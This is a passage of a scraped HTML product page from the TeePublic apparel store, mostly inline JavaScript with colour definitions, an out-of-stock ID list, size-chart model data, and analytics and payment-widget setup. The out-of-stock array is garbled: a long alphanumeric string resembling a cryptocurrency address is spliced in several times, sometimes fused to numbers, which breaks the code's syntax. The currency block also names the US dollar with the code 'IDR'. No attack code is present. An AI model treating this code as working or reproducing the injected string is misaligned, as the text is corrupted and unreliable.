            "name": "Raspberry Sorbet",
            "display_name": "Raspberry Sorbet (Limited Edition)",
            "hex": "#c6057b",
            "sort_order": 75,
            "slug": "raspberry_sorbet",
            "classes": "",
            "image": null,
            "seasonal": true
           },
           "73": {
            "id": 73,
            "name": "Navy/White",
            "display_name": "Navy/White",
            "hex": "#262c3b",
            "sort_order": 601,
            "slug": "navy_white",
            "classes": "bordered",
            "image": "https://assets.teepublic.com/assets/colors/svg/color_tile_navy_white-f2abffeb7cceff195ea1da8d91fcdb57d2ccbb7c7e064cead6e200f42b58c648.svg",
            "seasonal": false
           },
           "30": {
            "id": 30,
            "name": "Light Grey",
            "display_name": "Light Grey",
            "hex": "#c9c5bd",
            "sort_order": 15,
            "slug": "light_grey",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "47": {
            "id": 47,
            "name": "Vintage Brown",
            "display_name": "Vintage Brown",
            "hex": "#6a5f5d",
            "sort_order": 480,
            "slug": "vintage_brown",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "7": {
            "id": 7,
            "name": "Navy",
            "display_name": "Navy",
            "hex": "#262c3a",
            "sort_order": 290,
            "slug": "navy",
            "classes": "",
            "image": null,
            "seasonal": false
           }
          },
          "currency": {
           "symbol_first": true,
           "thousands_separator": ",",
           "html_entity": "$",
           "decimal_mark": ".",
           "name": "United States Dollar",
           "symbol": "$",
           "iso_code": "IDR"
          }
         }
        };
        TeePublic['oos'] = [3500, 3460, 3412, 3414, 3413, 3479, 3418, 3419, 3420, 3444, 916, 3291, 2368, 3462, 2264, 3210, 329, 1709, 2310, 3442, 2340, 2165, 2239, 1130, 3461, 3475, 3476, 2349, 2451, 3480, 3491, 3209, 3490, 3539, 3203, 3504, 1108, 1111, 1848, 1010, 1129, 3443, 3478, 2331, 3215, 3160, 1710, 2471, 3091, 2954, 1116, 2806, 2388, 2959, 878, 1711, 1723, 3319, 1127, 327, 328, 2083, 2347, 2549, 3183, 3214, 2598, 2315, 1119, 2319, 406, 2333, 425, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo2330, 1718, 402, 2615, 2507, 1109, 1110, 3295, 913, 2975, 2186, 2600, 2978, 2863, 2334, 3287, 3315, 2184, 1726, 2958, 2450, 3294, 2105, 1720, 2607, 2323, 2324, 2611, 2991, 2623, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1716, 1727, 2614, 3206, 2316, 3268, 3189, 2617, 2317, 404, 2452, 3272, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo3151, 3152, 3292, 3024, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo3283, 3503, 2874, 3543, 3182, 3153, 2830, 2829, 3286, 3289, 3290, 2868, 2472, 3512, 2470, 1132, 1724, 2815, 3195, 3186, 2825, 2883, 3297, 2616, 3148, 1735, 3270, 1750, 2813, 3312, 2866, 2819, 1845, 2864, 2599, 1846, 2875, 2596, 2605, 2604, 2603, 1751, 2859, 2632, 2610, 2992, 2620, 2609, 3149, 2804, 3314, 2633, 3212, 3216, 3277, 3198, 2890, 3288, 3311, 2960, 2891, 2982, 2989, 2993, 2967, 2971, 2973, 2974, 2980, 3190, 3188, 3168, 3147, 2597, 1712, 2313, 1713, 2102, 2104, 3251, 3316, 1733, 1734, 2335, 2622, 2336, 1732, 2343, 2185, 330, 5, 2608, 2629, 6, 3158, 2221, 3191, 3192, 2235, 3159, 2601, 2602, 2857, 3194, 2318, 3157, 2952, 2342, 3211, 3184, 3196, 3146, 917, 918, 3199, 3200, 3202, 3207, 3208, 3239, 3201, 3244, 1124, 3318, 2322, 2369, 2350, 2520, 2613, 3145, 2969, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 877, 880, 2550, 1128, 914, 915, 1131, 1113, 1114, 1133, 1134, 1135, 1125, 1126, 2625, 2867, 879, 2851, 2817, 1730, 2972, 1746, 2807, 2861, 2802, 2803, 2955, 2826, 2827, 2862, 2962, 2831, 2820, 2821, 2822, 2823, 2957, 2619, 2621, 2626, 2238, 2630, 3237, 986, 3242, 1117, 3245, 1118, 2985, 2237, 2524, 1715, 1753, 1736, 1721, 1748, 1847, 1752, 2339, 1747, 1749, 1756, 1757, 1728, 2390, 1754, 1755, 2814, 2391, 2805, 2321, 2103, 3040, 2968, 2389, 2843, 2236, 2816, 2522, 2348, 2818, 2953, 2346, 2828, 2341, 2634, 2636, 2314, 2635, 3041, 3021, 3037, 3038, 2983, 2965, 2979, 3039, 3042, 2961, 2963, 2990, 2964, 2966, 2082];
        TeePublic['tax_rate'] = 1.0;
        TeePublic['campaign'] = {
         id: null
        };
        TeePublic.Toggler.init();
        new TeePublic.Components.QuantityStepper();
        $(function() {
         TeePublic.ProductHelper.initPage({
          "design_id": 74165272,
          "store_id": null,
          "images": true,
          "paths": {
           "similar_products_path": "/designs/74165272/canvas/1/similar_products",
           "similar_products_personalized_path": "/designs/74165272/canvas/1/similar_products_personalized"
          },
          "similar_products_enabled": true,
          "similar_products_personalized_enabled": true
         }, 0);
        });
       </script>
       <script>
        TeePublic.ProductPage.Designs.secretDesignId();
       </script>
       <script>
        $(function() {
         TeePublic.Components.Utilities.copier('.jsCopyText')
        });
       </script>
       <script>
        $(function() {
         new TeePublic.Components.TrayController();
        });
        TeePublic.Cart.Settings.btEnv = 'production';
        TeePublic.Cart.Settings.btKey = 'production_9q3f7xnc_j35qfr8fn98hvg3r';
       </script>
       <script>
        window.addEventListener('load', function() {
         var src = "https://assets.teepublic.com/assets/product_page_non_critical-b3c32616b74cc64a463d89f471cc5f8ab832c96195372ee2960a820a2e3fd0a3.js";
         TeePublic.ProductPage.Utils.appendScript(src).then(() => {
          var json = '[{"model":{"name":"Jackson","height":{"feet":5,"inches":11,"cm":180},"weight":{"lbs":180,"kg":82}},"height":"reg","weight":"curvy","gender":"male","default":2,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/0_Jackson_Reg_Curvy_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/1_Jackson_Reg_Curvy_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/2_Jackson_Reg_Curvy_Male_default_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/3_Jackson_Reg_Curvy_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/4_Jackson_Reg_Curvy_Male_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/5_Jackson_Reg_Curvy_Male_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_curvy_180_5_11/6_Jackson_Reg_Curvy_Male_4XL.jpg","size":"4XL"}]},{"model":{"name":"Bryan","height":{"feet":5,"inches":11,"cm":180},"weight":{"lbs":165,"kg":75}},"height":"reg","weight":"reg","gender":"male","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_reg_165_5_11/0_Bryan_Reg_Reg_Male_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_reg_165_5_11/1_Bryan_Reg_Reg_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_reg_165_5_11/2_Bryan_Reg_Reg_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_reg_165_5_11/3_Bryan_Reg_Reg_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_reg_165_5_11/4_Bryan_Reg_Reg_Male_2XL.jpg","size":"2XL"}]},{"model":{"name":"Ian","height":{"feet":5,"inches":10,"cm":178},"weight":{"lbs":145,"kg":66}},"height":"reg","weight":"thin","gender":"male","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_thin_145_5_10/0_Ian_Reg_Thin_Male_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_thin_145_5_10/1_Ian_Reg_Thin_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_thin_145_5_10/2_Ian_Reg_Thin_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/reg_thin_145_5_10/3_Ian_Reg_Thin_Male_XL.jpg","size":"XL"}]},{"model":{"name":"Jerry","height":{"feet":5,"inches":6,"cm":168},"weight":{"lbs":165,"kg":75}},"height":"short","weight":"curvy","gender":"male","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_curvy_165_5_6/0_Jerry_Short_Curvy_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_curvy_165_5_6/1_Jerry_Short_Curvy_Male_default_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_curvy_165_5_6/2_Jerry_Short_Curvy_Male_XL.jpg","size":"XL"}]},{"model":{"name":"Darius","height":{"feet":5,"inches":6,"cm":168},"weight":{"lbs":150,"kg":68}},"height":"short","weight":"reg","gender":"male","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_reg_150_5_6/0_Darius_Short_Reg_Male_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_reg_150_5_6/1_Darius_Short_Reg_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_reg_150_5_6/2_Darius_Short_Reg_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_reg_150_5_6/3_Darius_Short_Reg_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_reg_150_5_6/4_Darius_Short_Reg_Male_2XL.jpg","size":"2XL"}]},{"model":{"name":"Mike","height":{"feet":5,"inches":5,"cm":165},"weight":{"lbs":130,"kg":59}},"height":"short","weight":"thin","gender":"male","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_thin_130_5_5/0_Mike_Short_Thin_Male_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_thin_130_5_5/1_Mike_Short_Thin_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/short_thin_130_5_5/2_Mike_Short_Thin_Male_L.jpg","size":"L"}]},{"model":{"name":"Chris","height":{"feet":6,"inches":4,"cm":193},"weight":{"lbs":200,"kg":91}},"height":"tall","weight":"curvy","gender":"male","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_curvy_200_6_4/0_Chris_Tall_Curvy_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_curvy_200_6_4/1_Chris_Tall_Curvy_Male_default_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_curvy_200_6_4/2_Chris_Tall_Curvy_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_curvy_200_6_4/3_Chris_Tall_Curvy_Male_2XL.jpg","size":"2XL"}]},{"model":{"name":"Jake","height":{"feet":6,"inches":4,"cm":193},"weight":{"lbs":185,"kg":84}},"height":"tall","weight":"reg","gender":"male","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/0_Jake_Tall_Reg_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/1_Jake_Tall_Reg_Male_default_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/2_Jake_Tall_Reg_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/3_Jake_Tall_Reg_Male_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/4_Jake_Tall_Reg_Male_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/5_Jake_Tall_Reg_Male_4XL.jpg","size":"4XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_reg_185_6_4/6_Jake_Tall_Reg_Male_5XL.jpg","size":"5XL"}]},{"model":{"name":"Anthony","height":{"feet":6,"inches":2,"cm":188},"weight":{"lbs":160,"kg":73}},"height":"tall","weight":"thin","gender":"male","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_thin_160_6_2/0_Anthony_Tall_Thin_Male_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_thin_160_6_2/1_Anthony_Tall_Thin_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_thin_160_6_2/2_Anthony_Tall_Thin_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_thin_160_6_2/3_Anthony_Tall_Thin_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/male/tall_thin_160_6_2/4_Anthony_Tall_Thin_Male_2XL.jpg","size":"2XL"}]},{"model":{"name":"Florinda","height":{"feet":5,"inches":6,"cm":168},"weight":{"lbs":170,"kg":77}},"height":"reg","weight":"curvy","gender":"female","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_curvy_170_5_6/0_Florinda_Reg_Curvy_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_curvy_170_5_6/1_Florinda_Reg_Curvy_Female_default_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_curvy_170_5_6/2_Florinda_Reg_Curvy_Female_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_curvy_170_5_6/3_Florinda_Reg_Curvy_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_curvy_170_5_6/4_Florinda_Reg_Curvy_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_curvy_170_5_6/5_Florinda_Reg_Curvy_Male_L.jpg","size":"L"}]},{"model":{"name":"Gillian","height":{"feet":5,"inches":8,"cm":173},"weight":{"lbs":150,"kg":68}},"height":"reg","weight":"reg","gender":"female","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/00_Gillian_Reg_Reg_Female_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/01_Gillian_Reg_Reg_Female_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/02_Gillian_Reg_Reg_Female_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/03_Gillian_Reg_Reg_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/04_Gillian_Reg_Reg_Female_2L.jpg","size":"2L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/05_Gillian_Reg_Reg_Female_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/06_Gillian_Reg_Reg_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/07_Gillian_Reg_Reg_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/08_Gillian_Reg_Reg_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/09_Gillian_Reg_Reg_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_reg_150_5_8/10_Gillian_Reg_Reg_Male_2XL.jpg","size":"2XL"}]},{"model":{"name":"Kourtney","height":{"feet":5,"inches":6,"cm":168},"weight":{"lbs":120,"kg":54}},"height":"reg","weight":"thin","gender":"female","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/0_Kourtney_Reg_Thin_Female_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/1_Kourtney_Reg_Thin_Female_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/2_Kourtney_Reg_Thin_Female_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/3_Kourtney_Reg_Thin_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/4_Kourtney_Reg_Thin_Female_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/5_Kourtney_Reg_Thin_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/6_Kourtney_Reg_Thin_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/reg_thin_120_5_6/7_Kourtney_Reg_Thin_Male_L.jpg","size":"L"}]},{"model":{"name":"Farrah","height":{"feet":5,"inches":3,"cm":160},"weight":{"lbs":200,"kg":91}},"height":"short","weight":"curvy","gender":"female","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_curvy_200_5_3/0_Farrah_Short_Curvy_Female_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_curvy_200_5_3/1_Farrah_Short_Curvy_Female_default_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_curvy_200_5_3/2_Farrah_Short_Curvy_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_curvy_200_5_3/3_Farrah_Short_Curvy_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_curvy_200_5_3/4_Farrah_Short_Curvy_Male_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_curvy_200_5_3/5_Farrah_Short_Curvy_Male_3XL.jpg","size":"3XL"}]},{"model":{"name":"Katy","height":{"feet":5,"inches":2,"cm":157},"weight":{"lbs":125,"kg":57}},"height":"short","weight":"reg","gender":"female","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/0_Katy_Short_Reg_Female.jpg","size":"Female"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/1_Katy_Short_Reg_Female_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/2_Katy_Short_Reg_Female_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/3_Katy_Short_Reg_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/4_Katy_Short_Reg_Female_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/5_Katy_Short_Reg_Female_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/6_Katy_Short_Reg_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/7_Katy_Short_Reg_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_reg_125_5_2/8_Katy_Short_Reg_Male_L.jpg","size":"L"}]},{"model":{"name":"Maeve","height":{"feet":5,"inches":2,"cm":157},"weight":{"lbs":115,"kg":52}},"height":"short","weight":"thin","gender":"female","default":0,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_thin_115_5_2/0_Maeve_Short_Thin_Female_default_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_thin_115_5_2/1_Maeve_Short_Thin_Female_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_thin_115_5_2/2_Maeve_Short_Thin_Female_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_thin_115_5_2/3_Maeve_Short_Thin_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_thin_115_5_2/4_Maeve_Short_Thin_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/short_thin_115_5_2/5_Maeve_Short_Thin_Male_M.jpg","size":"M"}]},{"model":{"name":"Sarah","height":{"feet":5,"inches":10,"cm":178},"weight":{"lbs":190,"kg":86}},"height":"tall","weight":"curvy","gender":"female","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/0_Sarah_Tall_Curvy_Female_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/2_Sarah_Tall_Curvy_Female_default_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/2_Sarah_Tall_Curvy_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/3_Sarah_Tall_Curvy_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/4_Sarah_Tall_Curvy_Male_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/5_Sarah_Tall_Curvy_Male_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_curvy_190_5_10/6_Sarah_Tall_Curvy_Male_3XL.jpg","size":"3XL"}]},{"model":{"name":"Sandra","height":{"feet":5,"inches":10,"cm":178},"weight":{"lbs":155,"kg":70}},"height":"tall","weight":"reg","gender":"female","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/0_Sandra_Tall_Reg_Female_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/1_Sandra_Tall_Reg_Female_default_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/2_Sandra_Tall_Reg_Female_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/3_Sandra_Tall_Reg_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/4_Sandra_Tall_Reg_Female_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/5_Sandra_Tall_Reg_Female_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/6_Sandra_Tall_Reg_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/7_Sandra_Tall_Reg_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_reg_155_5_10/8_Sandra_Tall_Reg_Male_L.jpg","size":"L"}]},{"model":{"name":"Katie","height":{"feet":5,"inches":10,"cm":178},"weight":{"lbs":130,"kg":59}},"height":"tall","weight":"thin","gender":"female","default":1,"images":[{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/0_Katie_Tall_Thin_Female_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/1_Katie_Tall_Thin_Female_default_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/2_Katie_Tall_Thin_Female_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/3_Katie_Tall_Thin_Female_XL.jpg","size":"XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/4_Katie_Tall_Thin_Female_2XL.jpg","size":"2XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/5_Katie_Tall_Thin_Female_3XL.jpg","size":"3XL"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/6_Katie_Tall_Thin_Male_S.jpg","size":"S"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/7_Katie_Tall_Thin_Male_M.jpg","size":"M"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/8_Katie_Tall_Thin_Male_L.jpg","size":"L"},{"url":"https://static.teepublic.com/sizechart/mobile/tshirt/female/tall_thin_130_5_10/9_Katie_Tall_Thin_Male_XL.jpg","size":"XL"}]}]';
          var showSizer = true;
          TeePublic.ProductPage.initializeInfo(json, showSizer)
         });
        });
        TeePublic.Validators.initCsrfToken();
       </script>
       <script>
        $(function() {
         TeePublic.Utility.modal($('.jsChangeIntlSettings'), $('#intl-settings'));
         TeePublic.Utility.modal($('.jsShowSliderSizechart'), $('#mobile-size-chart'));
         TeePublic.Utility.modal($('.jsShowCanvasSizechart'), $('#mobile-canvas-sizechart'));
        });
       </script>
       <script>
        setTimeout(function() {
         $('.flash .notice.temp:not([data-keep])').slideUp('slow');
        }, 5000);
        $(function() {
         TeePublic.Utility.unveil_images();
        });
        var rudderstackGlobalProperties = {
         "website_id": 1,
         "subdomain_name": "www",
         "domain_name": "teepublic.com",
         "store_name": null,
         "store_id": null,
         "xcfb": "1847521452160553165b015e0c0c18084c0160024f18015f0f151511095c1a12304c6d7f3528712a757c3174672d7b3965302431623e773a633a2b7f66652a365b696c035d"
        };
        var rsEnvData = {
         write_key: "2HNPADTAqRU1fVtw8bfPRR44gtx",
         data_plane_url: "https://teepublicoox.dataplane.rudderstack.com",
         js_use_beacon: false,
         anonymous_id: "cd1d819e-a9e0-4e3d-b8be-56639cfbd299",
         global_properties: window.rudderstackGlobalProperties
        };
        window.rudderstackEnvVars = rsEnvData;
        if (false) {
         window.addEventListener('CookiebotOnConsentReady', function() {
            if (Cookiebot.consent.statistics) {
             if (true) { // Rudderstack initialize script TeePublic.RudderstackHelpers.renderRudderstackScript(); } // Datadog RUM script (function(h,o,u,n,d) { h=h[d]=h[d]||{q:[],onReady:function(c){h.q.push(c)}} d=o.createElement(u);d.async=1;d.src=n n=o.getElementsByTagName(u)[0];n.parentNode.insertBefore(d,n) })(window,document,'script','https://www.datadoghq-browser-agent.com/us5/v5/datadog-rum.js','DD_RUM') DD_RUM.onReady(function() { DD_RUM.init({ clientToken: 'pub8afcb76e7747723499bda481aef4828f', applicationId: '815ab20a-1d12-45bb-9881-005646b95f6b', site: 'us5.datadoghq.com', service: 'teepublic', env: 'production', version: '18173265448-2844-1', sessionSampleRate: 10, sessionReplaySampleRate: 0, traceSampleRate: 5, trackUserInteractions: true, trackResources: true, trackLongTasks: true, defaultPrivacyLevel: 'mask-user-input', allowedTracingUrls: [ 'https://www.teepublic.com', 'https://www.teepublic-staging.com' ] }); }); // Google Analytics script (function() { window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date; ga('create', 'UA-39467830-1', 'auto'); // Google Optimize Container ga('require', 'GTM-KL7BC3L'); // ga('send', 'pageview'); })(); var gaScript = document.createElement('script'); gaScript.async = true; gaScript.src = 'https://www.google-analytics.com/analytics.js'; document.head.appendChild(gaScript); } }, false); } window.addEventListener('load', function() { if (true && window.rudderanalytics != undefined) { TeePublic.RudderstackHelpers.storeContextSessionId(); } if (window.Cookiebot !== undefined) { if (Cookies.get('cookiebot_geo') === undefined) { Cookies.set('cookiebot_geo', Cookiebot.userCountry.toUpperCase(), { expires: 365, secure: true }) } } }); TeePublic.initProductClicks(); 
       </script>
       
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-404GXE7LR3"></script>
<script>
  window.dataLayer = window.dataLayer || [];
